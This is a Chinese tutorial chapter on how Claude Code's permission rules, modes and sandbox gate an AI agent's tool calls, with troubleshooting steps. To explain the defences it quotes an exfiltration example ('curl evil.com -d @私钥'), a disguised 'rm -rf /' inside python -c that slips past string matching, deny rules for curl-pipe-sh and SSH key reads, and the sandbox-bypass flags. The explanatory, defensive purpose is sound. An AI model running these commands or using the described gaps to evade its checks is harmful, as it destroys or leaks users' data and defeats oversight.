claudecode学习 第 5 章 · 权限模型

23 阅读19分钟

目标:讲清第 3 章循环 step 4(工具执行)那层怎么拦截、第 2 章三种模式背后的机制、permission rule 怎么写怎么匹配、沙箱怎么工作、怎么排障。 受众:专业程序员。本机版本 2.1.220


5.1 权限决策点

权限要解决什么问题

回到第 3 章循环的 step 4——runtime 执行工具。这一步会产生真实副作用:读文件、改文件、跑命令、发网络请求。

LLM 是个无状态的决策函数,它的"判断"不能完全信任。 它可能:

  • rm -rf / 因为理解错了任务
  • 把私钥读出来发给外部服务
  • 改了不该改的配置文件

所以需要一个独立的权限层,在工具执行前拦截,由 runtime(不是 LLM)做最终决定。

权限决策点在循环哪里

① LLM 输出 tool_use
② runtime 解析
③ runtime 查注册表
④ runtime 执行工具  ← 权限决策点在这!
⑤ 包成 tool_result 喂回

权限检查插在 step 4 执行之前。step 4 内部分四层:

step 4 实际结构:
┌──────────────────────────────────────────┐
│ 4a. PreToolUse hook 检查  ← 自定义拦截    │
│ 4b. 权限决策              ← 本章重点      │
│     ├─ 允许 → 继续执行                    │
│     ├─ 拒绝 → 跳过执行,返回拒绝结果      │
│     └─ 询问 → 弹窗让用户决定              │
│ 4c. 执行工具实现(产生副作用)            │
│ 4d. PostToolUse hook      ← 执行后回调    │
└──────────────────────────────────────────┘

权限决策(4b)是 runtime 强制执行的,LLM 无法绕过。 即使 LLM 想跑 rm -rf,如果权限规则不允许且用户没批准,runtime 就不执行。

三种决策结果

决策含义后续
allow允许直接执行,不打扰用户
deny拒绝不执行,返回拒绝结果给 LLM
ask询问暂停循环,弹窗让用户决定

ask 又能被用户拆成三种响应

  • 用户点"允许"→ 这次允许(不持久化)
  • 用户点"拒绝"→ 这次拒绝
  • 用户点"总是允许"→ 写进 settings.jsonpermissions.allow,下次相同工具调用自动 allow

这就是第 2 章讲默认模式时提到的机制——"总是允许"是权限规则的来源。

决策依据:三层来源

┌─────────────────────────────────────────────┐
│ 1. 命令行 flag (--allowedTools / --disallowedTools) │  ← 最高优先级
├─────────────────────────────────────────────┤
│ 2. settings.json 的 permissions 字段        │
│    ├─ allow: [...]   允许规则               │
│    ├─ deny:  [...]   拒绝规则               │
│    └─ ask:   [...]   询问规则               │
├─────────────────────────────────────────────┤
│ 3. 当前模式(默认/Plan/Auto)的默认行为      │  ← 兜底
└─────────────────────────────────────────────┘

关键认知:模式(第 2 章讲的默认/Plan/Auto)其实是第三层兜底——当 flag 和 settings 都没明确规则时,由模式决定默认行为:

  • 默认模式:危险工具默认 ask
  • Plan 模式:所有写操作默认 deny
  • Auto 模式:所有工具默认 allow

所以"三种模式"和"权限规则"不是两套独立系统,而是同一个权限决策的兜底层

本机实物

// ~/.claude/settings.local.json
{
  "permissions": {
    "allow": [
      "Bash(xelatex --version)",
      "Bash(brew install *)",
      "Bash(bash build.sh)",
      "Bash(sudo tlmgr install hypdoc 2>&1)",
      "Bash(tlmgr search *)",
      "WebSearch"
    ]
  }
}

每条规则都是一次历史决策的沉淀。规则语法 Bash(brew install *) 这种 工具名(参数模式) 的写法,是 5.2 要讲的内容。

两层 settings 的区别

文件作用是否提交 git
settings.json项目共享配置是(团队都用)
settings.local.json个人本地配置否(gitignore)

settings.local.json 是个人覆盖层——你机器上 permissions 在这里,说明这些是你个人的授权(不污染团队配置)。


5.2 permission rule 语法

规则的基本格式

工具名(参数模式)
  • 工具名:如 BashReadEditWebFetch
  • 参数模式:括号里的,描述这个工具的 input 要满足什么条件才匹配

没有括号的规则(如 WebSearch)= 该工具所有调用都匹配。

三类规则容器

"permissions": {
  "allow": [...],   // 匹配则 allow
  "deny":  [...],   // 匹配则 deny
  "ask":    [...]    // 匹配则 ask(即使模式默认是 allow)
}
  • allow:白名单,匹配就放行不问
  • deny:黑名单,匹配就拒绝,不可被覆盖
  • ask:强制询问,即使 Auto 模式也要问(用于"危险但有时需要"的操作)

参数模式:精确匹配 vs 通配

规则匹配什么
WebSearch所有 WebSearch 调用
Bash(xelatex --version)精确匹配这条命令
Bash(bash build.sh)精确匹配这条命令
Bash(brew install *)通配——brew install 开头的任意命令
Bash(tlmgr search *)通配——tlmgr search 开头的任意命令

通配符 *:匹配任意字符(包括空)。brew install * 能匹配 brew install gitbrew install nodebrew install --cask firefox 等。

系统会检测过于宽泛的规则(isOverlyBroadBashAllowRule)并发出警告,防止你无意间放行危险操作。

涉及的 Hook 事件

权限系统提供了 PermissionRequest hook 事件(与 PreToolUsePostToolUse 同属工具事件),可在权限检查时插入自定义拦截逻辑。详见 Ch11。

优先级:deny > ask > allow

工具调用进来
    │
    ▼
┌─────────────────────────────────┐
│ ① deny 规则检查                 │
│    匹配? ──是──→ 拒绝 (不可覆盖) │
└────────────┬────────────────────┘
             否
             ▼
┌─────────────────────────────────┐
│ ② ask 规则检查                  │
│    匹配? ──是──→ 询问用户       │
└────────────┬────────────────────┘
             否
             ▼
┌─────────────────────────────────┐
│ ③ allow 规则检查                │
│    匹配? ──是──→ 允许           │
└────────────┬────────────────────┘
             否
             ▼
┌─────────────────────────────────┐
│ ④ 模式默认 (兜底)               │
│    默认→ask危险 / Plan→deny写   │
│    Auto→allow全部               │
└─────────────────────────────────┘

文字流程:

工具调用进来
    │
    ▼
① 检查 deny 规则 ──命中──→ 拒绝(不可覆盖)
    │ 未命中
    ▼
② 检查 ask 规则 ──命中──→ 询问用户
    │ 未命中
    ▼
③ 检查 allow 规则 ──命中──→ 允许
    │ 未命中
    ▼
④ 落到模式默认(默认模式→ask危险工具 / Plan→deny写操作 / Auto→allow全部)

关键:deny 是最高优先级,无法被 allow 覆盖。这是个安全设计——防止"某条 allow 规则太宽,意外放行了危险操作"。

通配符的两种粒度

写法含义
Bash(npm test)精确匹配 npm test(不多不少)
Bash(npm *)匹配 npm 开头的任意命令
Bash(*)匹配所有 Bash 命令(极宽,慎用)

常见误区Bash(npm *) 不匹配 npm(无参数)。因为 * 至少要匹配一个字符。如果要同时匹配 npmnpm xxx,要写两条规则或用 Bash(npm) + Bash(npm *)

实际中,* 通常足够——因为命令总有参数(npm 单独跑没意义)。

不同工具的参数模式

工具模式描述什么例子
Bash命令字符串Bash(git status)
Read文件路径Read(/etc/**)
Edit文件路径Edit(~/.ssh/**)
WebFetchURLWebFetch(https://internal.com/**)

文件路径的 ** 是 glob 通配(递归匹配),和 Bash 命令的 * 不是一回事。具体匹配规则依工具实现。

真实配置示例

{
  "permissions": {
    "allow": [
      "Bash(git *)",           // 所有 git 命令
      "Bash(npm test)",        // 跑测试
      "Bash(npm run build)",   // 构建
      "Read(**)",              // 读任意文件
      "WebSearch"              // 网络搜索
    ],
    "deny": [
      "Bash(rm -rf *)",        // 永远不许 rm -rf
      "Bash(curl * | sh)",     // 永远不许管道执行远程脚本
      "Read(~/.ssh/**)",       // 不许读 SSH 密钥
      "Edit(.env)"             // 不许改环境变量文件
    ],
    "ask": [
      "Bash(git push *)",      // push 要确认
      "Bash(npm publish)"      // 发布要确认
    ]
  }
}

语义:

  • 日常 git/npm 操作放行(省心)
  • 危险操作永久拒绝(防手滑)
  • push/publish 要确认(防误操作)

命令行 flag 的覆盖

claude --allowedTools "Bash(git *) Edit"     # 额外放行
claude --disallowedTools "Bash(rm *)"         # 额外禁止
claude --dangerously-skip-permissions          # 全部跳过(极危险,仅沙箱用)
claude --allow-dangerously-skip-permissions     # 允许在会话里启用跳过

--dangerously-skip-permissions 是核按钮——所有权限检查都跳过。字段名带 dangerously 警告。只在没有网络、纯本地的隔离环境用。


5.3 三种模式与规则的协同

两个看似独立的系统

系统第几章作用
三种模式(默认/Plan/Auto)第 2 章决定"默认要不要问"
permission rules(allow/deny/ask)本章精确控制"哪些操作怎么办"

它们不是两套独立系统,而是同一个权限决策的两个层级——规则是精确层,模式是兜底层。

完整决策流程图

工具调用 (如 Bash(rm /tmp/foo))
  │
  ▼
① 命令行 flag 检查
  ├─ --disallowedTools 命中? ──→ deny
  ├─ --allowedTools 命中?      ──→ allow
  └─ 都没命中
  │
  ▼
② settings 的 deny 规则检查
  ├─ 命中 ──→ deny(不可覆盖)
  └─ 未命中
  │
  ▼
③ settings 的 ask 规则检查
  ├─ 命中 ──→ ask(弹窗)
  └─ 未命中
  │
  ▼
④ settings 的 allow 规则检查
  ├─ 命中 ──→ allow
  └─ 未命中
  │
  ▼
⑤ 模式默认(兜底)
  ├─ 默认模式:
  │    ├─ 只读工具(Read/Glob/Grep/WebSearch) → allow
  │    └─ 写操作(Edit/Write/Bash)           → ask
  ├─ Plan 模式:
  │    ├─ 只读工具 → allow
  │    └─ 写操作   → deny(一个都不许做)
  └─ Auto 模式:
       └─ 所有工具 → allow

关键认知:第 5 步才是"模式"发挥作用的地方。模式只在前 4 步都没明确规则时才介入。所以:

  • 你写了精确规则,模式就被规则覆盖
  • 没写规则的地方,模式说了算

三种模式如何改变第 5 步

工具调用默认模式Plan 模式Auto 模式
Read(/foo)allowallowallow
Edit(/foo)askdenyallow
Bash(rm x)askdenyallow

注意 Plan 模式对写操作是 deny(不是 ask)——这就是 Plan 模式"只想不做"的实现:写操作被权限层硬拒绝,LLM 收到 deny 结果,自然就知道"现在不能改,先出方案"。

模式可以覆盖规则吗?

不能。模式是最弱的一层(第 5 步兜底),规则是更强的一层(第 2-4 步)。所以:

  • 即使在 Auto 模式,deny 规则照样拒绝
  • 即使在 Plan 模式,allow 规则照样放行(如果某条 allow 显式允许了写操作)

这正是规则系统的价值——模式是粗粒度的"心情开关",规则是细粒度的"硬约束"。你不会因为切到 Auto 模式就让 rm -rf 跑起来,因为有 deny 规则兜着。

一个真实场景走完整个流程

配置:

"permissions": {
  "allow": ["Bash(git *)", "Read(**)"],
  "deny":  ["Bash(rm -rf *)"],
  "ask":   ["Bash(git push *)"]
}

LLM 想跑 git push origin main,在默认模式

① flag 检查: 没命中
② deny 检查: "Bash(rm -rf *)" 不匹配 "git push" → 未命中
③ ask 检查: "Bash(git push *)" 匹配 "git push origin main" → 命中!
   → 弹窗询问用户
   → 用户选"总是允许" → 写进 allow,下次自动放行
   → 用户选"拒绝" → 这次拒绝,不写规则
   → 用户选"允许" → 这次放行,不持久化

同样的调用,在 Auto 模式

① flag 检查: 没命中
② deny 检查: 未命中
③ ask 检查: "Bash(git push *)" 命中 → ask
   ⚠️ 注意:Auto 模式不能覆盖 ask 规则
   → 仍然弹窗询问

这就是 ask 规则的设计意图——即使在 Auto 模式也要问。用于"危险但有时需要"的操作,防止 Auto 模式放行得太宽松。

Plan 模式的特殊实现

Plan 模式有个细节:它的"只读工具 allow、写操作 deny"不是写死的逻辑,而是模式层注入的隐式规则。本质上 Plan 模式等价于:

implicit_deny = [所有写操作工具]
implicit_allow = [所有只读工具]

这些隐式规则在第 5 步生效。如果显式写了 allow: ["Edit(/tmp/**)"],Plan 模式下这个显式规则会覆盖隐式 deny——能改 /tmp 下的文件。

但实际中很少这么干,因为 Plan 模式的目的是"先想清楚再动手"。

EnterPlanMode / ExitPlanMode 工具

第 4 章讲过这两个元工具。它们是 LLM 自己切换模式的入口——LLM 调 EnterPlanMode 进入 Plan 模式,调 ExitPlanMode(带方案)退出。这呼应了第 4 章说的"Plan 模式不是 UI 切换,是工具级状态管理"。

用户也能用 Shift+Tab 切换(第 2 章讲过)。两条路径都能改变模式层。


5.4 沙箱机制

"沙箱"这个词的来历

字面意思:装沙子的箱子。小孩子玩沙子,给他一个装满沙的箱子,他在里面怎么挖、怎么堆、怎么扬,都不会弄脏家里的地板——破坏被限制在箱子范围内。

软件工程借用这个意象:

沙箱 = 一个隔离的执行环境,里面的程序能做的事被严格限制,搞不出大乱子。

你早就见过的沙箱

例子沙箱限制了什么
浏览器的网页标签网页 JS 不能读硬盘文件、不能装软件
Docker 容器容器里跑的程序碰不到宿主机
iOS AppApp 不能读别的 App 的数据
银行 APP 的虚拟键盘按键记录器截不到密码

共同点:程序在里面跑,但能干的坏事被环境本身限制住了,不用靠程序自觉。

沙箱要解决什么问题

权限模型有个先天限制:它针对的是"工具调用级别"的拦截Bash(rm -rf) 能被规则拦,但 LLM 可能写出更隐蔽的危险命令——比如 python -c "import os; os.system('rm -rf /')",这条命令表面看是 python,实际干的是 rm

规则匹配只能看命令字符串表面,看不穿执行时的真实行为。所以光有规则不够,还需要沙箱——在执行层面隔离,限制命令能做什么,而不是限制命令"看起来像什么"。

Claude Code 沙箱具体限制什么

┌────────────────────────────────────────────┐
│  Claude Code 沙箱限制                       │
├────────────────────────────────────────────┤
│                                             │
│  1. 网络限制                                │
│     命令不能随便联网                         │
│     只允许白名单里的域名                     │
│     (防止偷偷把你的代码传出去)             │
│                                             │
│  2. 文件系统限制                            │
│     命令只能动工作目录和临时目录             │
│     碰不到 ~/.ssh、/etc 等敏感路径           │
│     (防止偷私钥、改系统配置)               │
│                                             │
└────────────────────────────────────────────┘

没有沙箱的话,LLM 让命令 curl evil.com -d @私钥 就能把你的私钥发走。有沙箱,evil.com 不在白名单——连接根本建不起来。

拦截时机不同:规则 vs 沙箱

权限规则:在命令"开始执行之前"拦截(看命令字符串)
沙箱:    在命令"正在执行过程中"拦截(看实际系统调用)

拦截时机时间轴图

时间轴 →

┌──────────┐  ┌─────────────────────────────────┐  ┌─────────┐
│ LLM 输出 │  │  权限规则层 (执行前)              │  │  沙箱层  │
│ tool_use │─▶│  看命令字符串表面                 │─▶│ (执行中)│
└──────────┘  │  · allow/deny/ask 规则匹配       │  │  看实际 │
              │  · 模式默认兜底                   │  │  系统调用│
              └────────────┬─────────────────────┘  │  · 网络 │
                           │                         │  · 文件 │
                     放行才进入执行                  │  系统   │
                                                       └────┬────┘
                                                            │
                                                            ▼
                                                    ┌─────────────┐
                                                    │  真实执行   │
                                                    │  (产生副作用)│
                                                    └─────────────┘

  规则盲区: 看不穿 python -c "..." 内部藏了什么 (只看到字符串)
  沙箱盲区: 不知道命令"语义意图" (能拦 rm -rf / 的实际删除,
            但工作目录内的 rm -rf src/ 看起来是合法文件操作不拦)
  互补:    规则防"看起来合法但意图不对" / 沙箱防"伪装的危险"

一个具体例子讲透

LLM 想跑 python -c "import os; os.system('rm -rf /')"

权限规则看到的

字符串: "python -c \"import os; os.system('rm -rf /')\""
匹配 Bash(python *)? → 匹配 → 放行

规则只看到字符串,看不到 python -c 后面那段代码实际要干什么。要"看穿"得解析 Python 语义——规则层是个轻量字符串匹配器,不做语义分析。

沙箱看到的

命令开始执行:
  ① python 进程启动
  ② python 解释那段代码
  ③ 代码调用 os.system('rm -rf /')
  ④ rm -rf / 真的去删文件系统
       ↑
  沙箱在这一层拦截(文件系统限制:工作目录外不许写 → 删除失败)

沙箱不需要懂 Python。它只懂"进程要访问网络/文件系统"这种操作系统级事件——不管这访问是 Python 触发的、Node 触发的、还是 shell 直接触发的,沙箱都能拦。

用类比讲

权限规则 = 大门保安查背包

保安看你包里有什么:

  • 包里露出一把锤子 → 没在违禁清单 → 放行
  • 包里露出一把刀 → 在违禁清单 → 拒绝

但保安不会打开你包里的小盒子看里面藏了什么。你把刀藏进饼干盒,保安就看不出来。

沙箱 = 场馆里的监控系统 + 锁死的门

你进场馆后想干什么:

  • 想拿锤子砸玻璃 → 玻璃是防弹的,砸不动 → 失败
  • 想从侧门溜走 → 侧门锁死了 → 失败
  • 想打电话给外面传数据 → 信号被屏蔽 → 失败

监控系统不管你包里有什么,它只看你实际做的动作。你想干危险动作时,物理限制让你干不成。

为什么两者必须配合

权限规则沙箱
拦截时机执行前执行中
看什么命令字符串实际系统调用
优势快、精确、可审计看穿伪装、防御深层
盲区看不穿 python -c 内部不知道命令"语义意图"

权限规则的盲区:伪装。python -c "..." 把危险动作藏在代码里,规则看不出来。

沙箱的盲区:意图。沙箱能拦 rm -rf 的实际删除,但如果 LLM 让命令"合法地"删了工作目录里的代码(rm -rf src/,工作目录内是允许的),沙箱不拦——因为它看起来是"正常文件操作"。

两层互补:

  • 沙箱防"伪装的危险"(藏在代码里的破坏)
  • 权限规则防"看起来合法但意图不对"的操作

本机实物:那条 sudo tlmgr 规则

"Bash(sudo tlmgr install hypdoc 2>&1)"

sudo 提权到 root,理论上能干任何事。但权限规则只是"字符串匹配放行"——它允许的是这条特定命令,不是"允许 sudo 任意操作"。

如果 LLM 后来想跑 sudo rm -rf /,权限规则没匹配(因为是另一条命令),会被拦截。但如果它真的跑起来了,沙箱还挡一层——文件系统限制让它碰不到根目录关键部分。

这就是为什么 sudo tlmgr ... 这种规则相对安全:精确匹配 + 沙箱兜底,双重保险。

sandbox 的配置

CHANGELOG 2.1.220 提到:

Added sandbox.network.strictAllowlist setting to deny non-allowlisted hosts for sandboxed commands without prompting

沙箱的网络行为可配:

  • 默认:非 allowlist 域名会弹窗询问用户
  • strictAllowlist 模式:非 allowlist 域名直接拒绝不问

企业/安全敏感场景开 strictAllowlist,防止 LLM 通过弹窗绕过沙箱。

dangerouslyDisableSandbox

dangerouslyDisableSandbox?: boolean;

这是给 LLM 的"逃生口"——某些命令必须在沙箱外跑(比如需要访问工作目录外文件、需要联网但被沙箱挡了)。LLM 可以设这个字段为 true,请求 runtime 绕过沙箱。

绕沙箱不是 LLM 单方面能决定的

LLM 想跑需要绕沙箱的命令
   │
   ▼
LLM 在 tool_use.input 里设 dangerouslyDisableSandbox: true
   │
   ▼
runtime 收到,识别"这是绕沙箱请求"
   │
   ▼
走权限决策(通常会 ask,因为这是危险操作)
   │
   ├─ 用户允许 → 绕沙箱执行
   └─ 用户拒绝 → 不绕,沙箱内执行(可能失败)

dangerously 前缀是给用户看的警告——权限弹窗会显示这个标记。

防御层级总览

┌─────────────────────────────────────────────────────────┐
│  防御层级                                                │
├─────────────────────────────────────────────────────────┤
│                                                          │
│  LLM 决策(无约束,可能犯错)                            │
│         │                                                │
│         ▼                                                │
│  ① 权限规则层(看命令字符串表面)                        │
│     allow/deny/ask + 模式默认                            │
│         │                                                │
│         ▼                                                │
│  ② 沙箱层(看命令实际行为)                              │
│     网络限制 + 文件系统限制                              │
│         │                                                │
│         ▼                                                │
│  ③ 真实执行(产生副作用)                                │
│                                                          │
│  dangerouslyDisableSandbox 是②层的逃生口,但要①层批准    │
└─────────────────────────────────────────────────────────┘

5.5 排障与调试

什么时候需要排障

权限问题通常表现为三种症状:

症状可能原因
LLM 说"权限被拒绝"deny 规则命中,或 Plan 模式下写了写操作
一直弹窗问个不停allow 规则没覆盖到,每次都落到 ask
命令莫名失败沙箱挡了(网络/文件访问被限制)

排障核心是搞清楚决策走到了哪一步、为什么是这个结果

工具一:/permissions 命令

会话里敲 /permissions,能看到当前生效的权限规则。能帮你确认:

  • 你以为写进去的规则在不在
  • 有没有意外的 deny 把你卡住
  • 当前模式是什么(影响兜底行为)

工具二:--debug flag

claude --debug
# 或过滤类别
claude --debug "permissions"

debug 日志会显示每次工具调用的决策走完了哪几步:

[debug] Tool call: Bash(git push origin main)
[debug] Step 1 (flag): no match
[debug] Step 2 (deny): no match
[debug] Step 3 (ask): Bash(git push *) matched → ask
[debug] → prompting user

这能精确定位"卡在哪一步"。--debug 支持过滤类别(api,hooks 看这两类,!file 排除某类)。

工具三:claude doctor/doctor

claude doctor 是启动前的健康检查,/doctor 是会话内更全的检查(能修复问题)。它们会扫:

  • settings 文件有没有语法错误
  • 权限规则格式对不对
  • 是否有冲突的配置

如果规则没生效是因为 JSON 写错了(少了逗号、字段名拼错),/doctor 能发现。

排障决策流程

权限异常
   │
   ▼
① /permissions 看当前规则
   ├─ 规则缺失 → 编辑 settings.json 加上
   ├─ 有意外 deny → 删掉或改窄
   └─ 规则都在
   │
   ▼
② /doctor 查配置健康
   ├─ JSON 语法错 → 修复
   ├─ 字段拼错 → 修复
   └─ 配置健康
   │
   ▼
③ --debug 看决策走哪步
   ├─ 走到 ask 但你以为是 allow → 规则匹配有误,检查通配符
   ├─ 走到 deny 但你没写 deny → 可能是模式兜底(Plan 模式)
   └─ 决策正常但仍失败
   │
   ▼
④ 检查沙箱
   ├─ 命令失败含"network"/"connection" → 沙箱网络挡了
   ├─ 命令失败含"permission denied" 路径相关 → 沙箱文件系统挡了
   └─ 需要 → 配 sandbox allowlist 或 dangerouslyDisableSandbox

一个真实排障例子

每次 LLM 跑 npm test 都弹窗问你。

第一步 /permissions:发现 allow 里只有 Bash(npm test),没有 Bash(npm *)。规则在。

第二步 --debug

[debug] Tool call: Bash(npm test -- --coverage)
[debug] Step 4 (allow): Bash(npm test) not matched → fallthrough

问题定位:规则是 Bash(npm test) 精确匹配,但 LLM 实际跑的是 npm test -- --coverage(带参数)。精确匹配不命中。

修复:改成 Bash(npm test *) 或加一条 Bash(npm test *)

排障核心思路:用 debug 日志看实际匹配过程,而不是猜

安全排查:检查过度授权

权限配置容易随时间积累过宽的规则。定期排查:

cat ~/.claude/settings.local.json | python3 -c "
import sys, json
obj = json.load(sys.stdin)
for r in obj.get('permissions', {}).get('allow', []):
    print(r)
"

重点警惕:

  • Bash(*)Bash(rm *) —— 太宽
  • Bash(sudo *) —— sudo 任意命令,危险
  • Read(**) 配合敏感目录 —— 可能读出私钥
  • 长期不用的规则 —— 该删就删

本章核心带走

  1. 权限决策点在循环 step 4 执行前,由 runtime 强制(LLM 无法绕过)。三种结果:allow/deny/ask。
  2. 决策依据三层:flag > settings.json 的 permissions > 模式默认。模式是兜底层,不是独立系统。
  3. 规则语法 工具名(参数模式),三类容器 allow/deny/ask,优先级 deny > ask > allow > 模式默认。deny 不可被覆盖。
  4. 模式与规则协同:规则覆盖模式(Auto 模式 deny 照样拒绝、Plan 模式 allow 照样放行)。Plan 模式靠隐式 deny 写操作实现"只想不做"。
  5. 沙箱是第二层防御:在执行中看实际系统调用(网络+文件系统限制),补权限规则"看不穿伪装"的盲区。dangerouslyDisableSandbox 是逃生口但要权限层批准。
  6. 排障三件套/permissions 看现状、/doctor 查配置、--debug 看决策过程。按"现状→配置→决策→沙箱"四步排查。

本机实证命令汇总

# 1. 看当前权限规则
cat ~/.claude/settings.local.json | python3 -c "
import sys, json
obj = json.load(sys.stdin)
print(json.dumps(obj.get('permissions', {}), indent=2, ensure_ascii=False))
"

# 2. 会话内查权限
/permissions       # 看当前生效规则
/doctor            # 查配置健康

# 3. debug 启动看决策过程
claude --debug
claude --debug "permissions"

# 4. 安全排查过度授权
cat ~/.claude/settings.local.json | python3 -c "
import sys, json
obj = json.load(sys.stdin)
for r in obj.get('permissions', {}).get('allow', []):
    print(r)
"